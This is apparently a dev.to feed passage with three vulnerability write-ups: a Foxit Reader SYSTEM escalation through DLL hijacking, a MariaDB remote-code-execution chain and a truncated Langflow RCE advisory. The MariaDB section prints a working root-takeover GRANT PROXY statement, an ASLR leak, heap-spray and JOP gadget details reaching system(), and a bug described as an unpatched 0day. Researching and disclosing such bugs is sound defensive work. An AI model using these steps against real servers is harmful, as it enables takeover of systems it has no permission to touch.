      │  ① Drop malicious winspool.drv in %APPDATA%\...\Foxit PDF Reader\
      │  ② Assemble IPC command (session id, updater path, arguments)
      │  ③ UTF-16LE encode → 0x00 pad → AES-128-CBC encrypt (hardcoded key, null IV)
      │  ④ Ciphertext → hex → UTF-16, written to FoxitData.txt
      ▼
[C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt]  (writable by Users)
      │  ⑤ FoxitPDFReaderUpdateService.exe (SYSTEM) detects the file change
      ▼
[FoxitPDFReaderUpdateService.exe : NT AUTHORITY\SYSTEM]
      │  ⑥ Decrypt with hardcoded key, match sessionid to winlogon.exe, duplicate token
      │  ⑦ Filename + signature checks pass (it's a genuine Foxit binary)
      │  ⑧ CreateProcess: launches %APPDATA%\...\FoxitPDFReaderUpdater.exe as SYSTEM
      ▼
[FoxitPDFReaderUpdater.exe : NT AUTHORITY\SYSTEM]
      │  ⑨ Resolves winspool.drv from its own directory per DLL search order
      ▼
[Attacker's winspool.drv DllMain executes] → arbitrary code execution as SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's the same flow as a diagram:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm75o87ds4jy5btjoaiz0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm75o87ds4jy5btjoaiz0.png" alt=" " width="800" height="1032"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the AES-128-CBC message construction on its own:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0vk94kqw3ta9hivh8uh9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0vk94kqw3ta9hivh8uh9.png" alt=" " width="800" height="784"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/_Vz694k7La4"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Root Causes
&lt;/h2&gt;

&lt;p&gt;Three separate design mistakes had to overlap for this to work:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Broken trust boundary&lt;/strong&gt;: a SYSTEM service treated a file writable by the &lt;code&gt;Users&lt;/code&gt; group as trusted IPC input. Filesystem ACLs should have defined the trust boundary here, and they didn't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption mistaken for authentication&lt;/strong&gt;: AES-128-CBC provides confidentiality, not integrity or authenticity — and since the key ships inside every client install, it was never actually secret to begin with. What this channel needed was a signature or HMAC the service alone could verify, not encryption.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Misplaced scope of code-signing checks&lt;/strong&gt;: verifying that the launched executable itself is Authenticode-signed says nothing about every module that executable subsequently loads. Without controlling DLL search order, even a signed binary can become a privileged code-execution primitive.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  7. Patch
&lt;/h2&gt;

&lt;p&gt;Foxit shipped a coordinated fix on July 8, 2026 covering 30+ vulnerabilities across Reader and Editor for Windows and macOS. CVE-2026-57239 is fixed in the 2026.1.2 build (2026.x line), plus 14.0.5 and 13.2.5 for the supported 14.x/13.2 branches. Update via &lt;strong&gt;Help &amp;gt; Check for Update&lt;/strong&gt;, or download a fresh installer from Foxit's official distribution channel and verify the reported version afterward.&lt;/p&gt;

</description>
      <category>cve</category>
      <category>pdf</category>
      <category>systems</category>
      <category>privilege</category>
    </item>
    <item>
      <title>MariaDB 13.0.1-rc RCE: Priv-Esc + Heap UAF + JOP Chain to system()</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 14 Aug 2026 04:46:25 +0000</pubDate>
      <link>https://dev.to/guidance_white/mariadb-1301-rc-rce-priv-esc-heap-uaf-jop-chain-to-system-acn</link>
      <guid>https://dev.to/guidance_white/mariadb-1301-rc-rce-priv-esc-heap-uaf-jop-chain-to-system-acn</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh95lfbomdp38mrhkdhjz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh95lfbomdp38mrhkdhjz.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the &lt;strong&gt;unmodified, stock MariaDB 13.0.1-rc Docker image&lt;/strong&gt;, a chain of five steps gets an attacker from a low-privilege SQL account all the way to command execution as uid 999 (mysql). No host access, no docker commands, no direct &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt; writes — every step is a plain SQL statement. Found with RAPTOR and raptor-loop-hunt (an autonomous offensive research framework and its iterative hunt plugin).&lt;/p&gt;

&lt;p&gt;The chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;GRANT PROXY&lt;/code&gt; privilege escalation (F-09) — any account → full DBA&lt;/li&gt;
&lt;li&gt;ASLR defeat via &lt;code&gt;/proc/self/maps&lt;/code&gt; leak&lt;/li&gt;
&lt;li&gt;SYS_REFCURSOR use-after-free (F-05, unfixed upstream 0day)&lt;/li&gt;
&lt;li&gt;Heap spray + JOP (Jump-Oriented Programming) chain&lt;/li&gt;
&lt;li&gt;A "pure SQL" trick for resolving a self-referential address, using glibc's mmap slot reuse&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. F-09 — Privilege Escalation: Hijacking root via &lt;code&gt;GRANT PROXY&lt;/code&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;GRANT&lt;/span&gt; &lt;span class="n"&gt;PROXY&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="k"&gt;CURRENT_USER&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;TO&lt;/span&gt; &lt;span class="s1"&gt;'root'&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="s1"&gt;'%'&lt;/span&gt; &lt;span class="n"&gt;IDENTIFIED&lt;/span&gt; &lt;span class="n"&gt;VIA&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One statement, and any authenticated user becomes a full DBA. The root cause sits in the authentication-clause validation path.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When the authentication clause is empty, as in &lt;code&gt;IDENTIFIED VIA ''&lt;/code&gt;, &lt;code&gt;LEX_USER::has_auth()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;false&lt;/code&gt; from &lt;code&gt;has_auth()&lt;/code&gt; skips the privilege-check routine &lt;code&gt;check_alter_user()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;But downstream, &lt;code&gt;replace_user_table()&lt;/code&gt; still applies that empty auth clause — &lt;strong&gt;overwriting root's credentials with an empty password.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The gap is between "no auth info supplied → nothing to validate" and "no auth info supplied → apply it anyway, even if empty." No special privileges are required, and this reproduces on every released MariaDB version. The fix (&lt;code&gt;dbd60d0ad8d&lt;/code&gt;, MDEV-40470) exists on dev branches but has not been backported to any release — verified from 13.0.1 through 10.6.27.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. ASLR Defeat: Reading &lt;code&gt;/proc/self/maps&lt;/code&gt; Through SQL
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;LOAD&lt;/span&gt; &lt;span class="k"&gt;DATA&lt;/span&gt; &lt;span class="n"&gt;INFILE&lt;/span&gt; &lt;span class="s1"&gt;'/proc/self/maps'&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the stock image, &lt;code&gt;secure_file_priv&lt;/code&gt; is unset (NULL). Combined with FILE privilege, &lt;code&gt;LOAD DATA INFILE&lt;/code&gt; can read arbitrary files as the server process — including &lt;code&gt;/proc/self/maps&lt;/code&gt;, which hands back the mariadbd process's own memory layout as SQL output. This directly leaks the PIE base and libc base. No separate info-leak bug is required; it's purely the combination of an unset config default and a built-in SQL file-read primitive. The addresses change on every run, but since they're read live from the running process each time, that's a non-issue for the exploit.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. F-05 — SYS_REFCURSOR Use-After-Free (Unfixed 0day)
&lt;/h2&gt;

&lt;p&gt;The vulnerable function is &lt;code&gt;sp_cursor_array::get_cursor_by_ref()&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Materialized_cursor::open() -&amp;gt; result-&amp;gt;prepare()
  -&amp;gt; mov rax, [result]       ; rax = attacker's vtable pointer (V)
  -&amp;gt; call [rax + 0x20]       ; calls the D2 gadget (prepare()'s vtable slot)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function returns an &lt;strong&gt;interior pointer&lt;/strong&gt; into a &lt;code&gt;Dynamic_array&lt;/code&gt; backing the cursor array. The array is managed via &lt;code&gt;my_realloc&lt;/code&gt;, and that's where the bug lives:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker-controlled SQL running inside a cursor's &lt;code&gt;open()&lt;/code&gt; method opens &lt;strong&gt;additional cursors&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The cursor array has to grow, &lt;code&gt;my_realloc&lt;/code&gt; allocates new storage, and the old backing storage is &lt;strong&gt;freed&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The caller's already-cached pointer into the old storage is never updated — it's now dangling.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The freed chunk is exactly &lt;code&gt;16 cursors x 112 bytes = 1792 bytes&lt;/code&gt;. A heap spray of 128 user-variable copies, each sized at an exact-fit 1784 bytes, reclaims that chunk. The spray payload plants an attacker-controlled vtable pointer at offset 0x20 — the location of &lt;code&gt;sp_cursor&lt;/code&gt;'s &lt;code&gt;result&lt;/code&gt; member — and the next virtual dispatch through that member hijacks control flow.&lt;/p&gt;

&lt;p&gt;As of 2026-08-03, this bug is still unfixed upstream: zero commits to &lt;code&gt;sql/sp_cursor.{cc,h}&lt;/code&gt; between the 13.0.1 tag and HEAD.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. The JOP Chain: system() Without ROP or a Stack Pivot
&lt;/h2&gt;

&lt;p&gt;Two gadgets from the stock mariadbd binary are enough to reach &lt;code&gt;system()&lt;/code&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Gadget&lt;/th&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;D2&lt;/td&gt;
&lt;td&gt;PIE+0x80da77&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call *0x100(%rax)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stack alignment fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D1&lt;/td&gt;
&lt;td&gt;PIE+0xe3075b&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rdi,[rax+0xa8]; call [rax+0xa0]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Load command pointer, call system()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The fake vtable &lt;code&gt;V&lt;/code&gt; lives inside the 128 MiB buffer built earlier, laid out as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;V+0x20  = D2          (prepare()'s vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to the command string -&amp;gt; loaded into rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '&amp;lt;cmd&amp;gt;'\0"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a classic JOP chain: control flow moves purely through chained virtual-function calls, never touching the stack, so stack canaries and return-address protections are simply irrelevant here.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Resolving a Self-Referential Address Using Only SQL
&lt;/h2&gt;

&lt;p&gt;There's a chicken-and-egg problem baked into the layout above: &lt;code&gt;V+0xa8&lt;/code&gt; needs to hold &lt;strong&gt;the address of the buffer itself&lt;/strong&gt; (V+0x140), but that address isn't known until the buffer is allocated. This is solved with a quirk of glibc's mmap behavior.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Step 1: allocate a 128 MiB marker buffer&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;fake&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;REPEAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;CHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xDE&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;134217728&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;-- glibc hands out a dedicated mmap region (e.g. 0x8001000, data at +0x30)&lt;/span&gt;
&lt;span class="c1"&gt;-- the address is found by diffing /proc/self/maps before and after&lt;/span&gt;

&lt;span class="c1"&gt;-- Step 2: re-allocate with the full JOP layout, self-reference included&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;fake&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;REPEAT&lt;/span&gt;&lt;span class="p"&gt;(...),&lt;/span&gt; &lt;span class="n"&gt;UNHEX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;JOP layout&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;REPEAT&lt;/span&gt;&lt;span class="p"&gt;(...));&lt;/span&gt;
&lt;span class="c1"&gt;-- glibc munmaps the old chunk and reuses the exact same slot,&lt;/span&gt;
&lt;span class="c1"&gt;-- so the address discovered in step 1 stays valid&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Allocate a 128 MiB marker buffer → glibc grants a dedicated mmap region → its address is recovered via a &lt;code&gt;/proc/self/maps&lt;/code&gt; diff.&lt;/li&gt;
&lt;li&gt;Re-allocate the same variable with the complete layout → glibc reuses the same mmap slot → the self-reference baked in during step 1 remains valid.&lt;/li&gt;
&lt;li&gt;Each step re-reads &lt;code&gt;/proc/self/maps&lt;/code&gt; to verify; if the address ever moved, the self-reference is re-baked and the write retried (converges in one iteration in practice).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The choice of 128 MiB is deliberate: glibc's dynamic mmap threshold can grow past 4 MiB after large frees, and 128 MiB reliably lands a dedicated mmap region regardless (128 MiB and 256 MiB were both verified). One catch — a buffer larger than &lt;code&gt;max_allowed_packet&lt;/code&gt; simply fails, so &lt;code&gt;SET GLOBAL max_allowed_packet&lt;/code&gt; has to be raised first, with a fresh connection afterward. The +0x30 data offset within the mmap region is also glibc/image-specific and is exposed as a &lt;code&gt;DATA_OFF&lt;/code&gt; constant in the code for that reason.&lt;/p&gt;




&lt;h2&gt;
  
  
  Full Attack Flow
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. GRANT PROXY ...                     -&amp;gt; root account hijacked (F-09)
2. LOAD DATA INFILE '/proc/self/maps'  -&amp;gt; PIE/libc base recovered (ASLR defeat)
3. SET @fake = REPEAT(...)  128MiB     -&amp;gt; mmap slot secured, address found via diff
4. SET @fake = CONCAT(... UNHEX(...))  -&amp;gt; self-referential JOP layout written
5. CALL uaf5                           -&amp;gt; SYS_REFCURSOR UAF triggered (F-05)
                                        -&amp;gt; heap spray reclaims the freed chunk
                                        -&amp;gt; result-&amp;gt;prepare() virtual call
                                        -&amp;gt; D2 -&amp;gt; D1 -&amp;gt; system("sh -c '&amp;lt;cmd&amp;gt;'")
6. mariadbd is PID 1 -&amp;gt; container exits right after system() returns
                                        -&amp;gt; restart, read the marker file as proof
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All that's required to run this is &lt;strong&gt;a MariaDB account with USAGE-only privileges and TCP reachability to port 3306&lt;/strong&gt; — no host shell, no docker commands, no &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt; access, and no root password. (The repo also keeps a legacy host-assisted PoC, &lt;code&gt;exploit.py&lt;/code&gt;, which writes the JOP chain via &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt; from the Docker host — it's explicitly noted as superseded by the pure-SQL variant.)&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/UDDqpsgf1i4"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  What Makes This Chain Interesting
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;F-09 is a pure logic bug in the auth-clause validation path&lt;/strong&gt;, not a memory-safety issue, yet by itself it's a complete DBA takeover.&lt;/li&gt;
&lt;li&gt;The ASLR defeat needs no separate info-leak vulnerability — an unset &lt;code&gt;secure_file_priv&lt;/code&gt; plus &lt;code&gt;LOAD DATA INFILE&lt;/code&gt; is enough to pull &lt;code&gt;/proc/self/maps&lt;/code&gt; straight out through SQL.&lt;/li&gt;
&lt;li&gt;The UAF trigger is a &lt;strong&gt;reentrancy pattern that only exists at the SQL layer&lt;/strong&gt;: SQL executed from inside a cursor callback grows the very cursor array the callback is iterating over.&lt;/li&gt;
&lt;li&gt;From heap grooming to resolving a self-referential pointer, &lt;strong&gt;SQL statements themselves are the exploitation primitive&lt;/strong&gt; — no &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt; writes, no host-side tooling, and a correspondingly much smaller detection surface than the traditional approach.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>mariadb</category>
      <category>database</category>
      <category>python</category>
      <category>exploit</category>
    </item>
    <item>
      <title>CVE-2026-33017: Langflow Unauthenticated Remote Code Execution</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 12 Aug 2026 06:01:33 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-33017-langflow-unauthenticated-remote-code-execution-16fn</link>
      <guid>https://dev.to/guidance_white/cve-2026-33017-langflow-unauthenticated-remote-code-execution-16fn</guid>
      <description>&lt;h2&gt;
  
  
  1. CVE-2026-33017
&lt;/h2&gt;

&lt;p&gt;A vulnerability in Langflow allows unauthenticated remote code execution (RCE).&lt;/p&gt;

&lt;p&gt;It stems from a feature that lets users run a shared flow without logging in. The endpoint accepts attacker-supplied flow data without validation and executes the code contained within it — meaning an attacker can execute arbitrary code on the server with no authentication at all.&lt;/p&gt;

&lt;p&gt;Langflow is an open-source tool for visually building AI workflows by connecting blocks such as chat input, model calls, document retrieval, API requests, and output display.&lt;/p&gt;

&lt;p&gt;This vulnerability affects Langflow deployments that expose flows publicly. Running a public flow requires no authentication, so an attacker only needs the target flow's identifier to execute arbitrary code on the server — potentially leading to full system compromise.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2026-33017&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Product&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Langflow (open-source AI workflow/agent builder, 140k+ GitHub stars)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-306 (Missing Authentication for Critical Function) + CWE-94 (Code Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical) under v3.1; GitHub's own v4 score is 9.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated arbitrary Python code execution (full system compromise)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions prior to 1.9.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.9.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  2. The Vulnerable Feature: "Public Flow"
&lt;/h2&gt;

&lt;p&gt;Langflow has a &lt;strong&gt;public flow&lt;/strong&gt; feature that lets others run a workflow without logging in — designed for exposing demos or chatbots externally. By itself, this is a legitimate design.&lt;/p&gt;

&lt;p&gt;The endpoint behind it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/v1/build_public_tmp/{flow_id}/flow
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This endpoint is &lt;strong&gt;intentionally&lt;/strong&gt; unauthenticated. The problem is that the request also accepted an &lt;strong&gt;optional &lt;code&gt;data&lt;/code&gt; parameter&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The Real Problem: Untrusted Input on a Trusted Path
&lt;/h2&gt;

&lt;p&gt;Correctly, running a public flow should only load and execute the &lt;strong&gt;flow definition stored in the database&lt;/strong&gt;. A caller should be able to say "run this flow," but not dictate the flow's actual contents.&lt;/p&gt;

&lt;p&gt;Instead, when a &lt;code&gt;data&lt;/code&gt; parameter was present in the request, the endpoint used the &lt;strong&gt;value from the request body&lt;/strong&gt; instead of the value from the database. A request meaning "run this flow_id" could effectively become "run this flow_id, but replace what actually executes with the data I'm sending now."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47vc3x3i25lt3if2tt9a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47vc3x3i25lt3if2tt9a.png" alt=" " width="800" height="471"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Langflow's flow data is organized into nodes (components), and each node can embed a &lt;strong&gt;Python code snippet&lt;/strong&gt; via the custom component feature. This let an attacker smuggle a node containing arbitrary Python code inside the &lt;code&gt;data&lt;/code&gt; parameter.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Tracing the Code Path
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ugc0zphtwdrt1qyy1hr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ugc0zphtwdrt1qyy1hr.png" alt=" " width="800" height="781"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;build_public_tmp()&lt;/code&gt;&lt;/strong&gt; — the endpoint handler; no auth check, accepts &lt;code&gt;data&lt;/code&gt; as-is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;create_graph()&lt;/code&gt;&lt;/strong&gt; — should enforce "public flows are read from the DB only," but if &lt;code&gt;data&lt;/code&gt; is present, it builds the graph from attacker-supplied data instead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;eval_custom_component_code()&lt;/code&gt;&lt;/strong&gt; — extracts and evaluates each node's Python code, treating the attacker's injected snippet as legitimate node code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;prepare_global_scope()&lt;/code&gt; → &lt;code&gt;exec()&lt;/code&gt;&lt;/strong&gt; — the extracted code is passed directly to &lt;code&gt;exec()&lt;/code&gt;. &lt;strong&gt;No sandboxing, no input validation, no whitelist.&lt;/strong&gt; Code entering &lt;code&gt;exec()&lt;/code&gt; runs with the same privileges as the server process.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The core issue isn't a single buggy function — it's a broken &lt;strong&gt;trust boundary&lt;/strong&gt;. &lt;code&gt;build_public_tmp&lt;/code&gt; → &lt;code&gt;create_graph&lt;/code&gt; was supposed to assume "this request is unauthenticated, so trust the DB value only," and the &lt;code&gt;data&lt;/code&gt; parameter broke that assumption. &lt;code&gt;eval_custom_component_code&lt;/code&gt; and &lt;code&gt;exec()&lt;/code&gt; were designed to process already-trusted flow data, so neither had independent validation logic.&lt;/p&gt;

&lt;p&gt;Accordingly, the GitHub security advisory's fix didn't try to sandbox &lt;code&gt;exec()&lt;/code&gt; — it &lt;strong&gt;removed the &lt;code&gt;data&lt;/code&gt; parameter from the endpoint entirely&lt;/strong&gt; and forced public flows through the &lt;code&gt;build_graph_from_db()&lt;/code&gt; path only. The fix prevents dangerous code from ever entering the execution path, rather than trying to block it once it's already there.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Attack Requirements
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;At least &lt;strong&gt;one public flow&lt;/strong&gt; must exist on the target instance (common for demo/chatbot deployments)&lt;/li&gt;
&lt;li&gt;Or, if the default &lt;code&gt;AUTO_LOGIN=true&lt;/code&gt; is enabled, an attacker could create a public flow directly via the unauthenticated auto-login path&lt;/li&gt;
&lt;li&gt;The public flow's UUID (typically exposed in the shared link, easy to obtain)&lt;/li&gt;
&lt;li&gt;No credentials required&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/eO-yQdp11kY"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Mitigation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Upgrade to Langflow 1.9.0+&lt;/strong&gt; — the only verified fix. (Some reports claimed an intermediate 1.8.x patch, but reproductions showed it remained exploitable.)&lt;/li&gt;
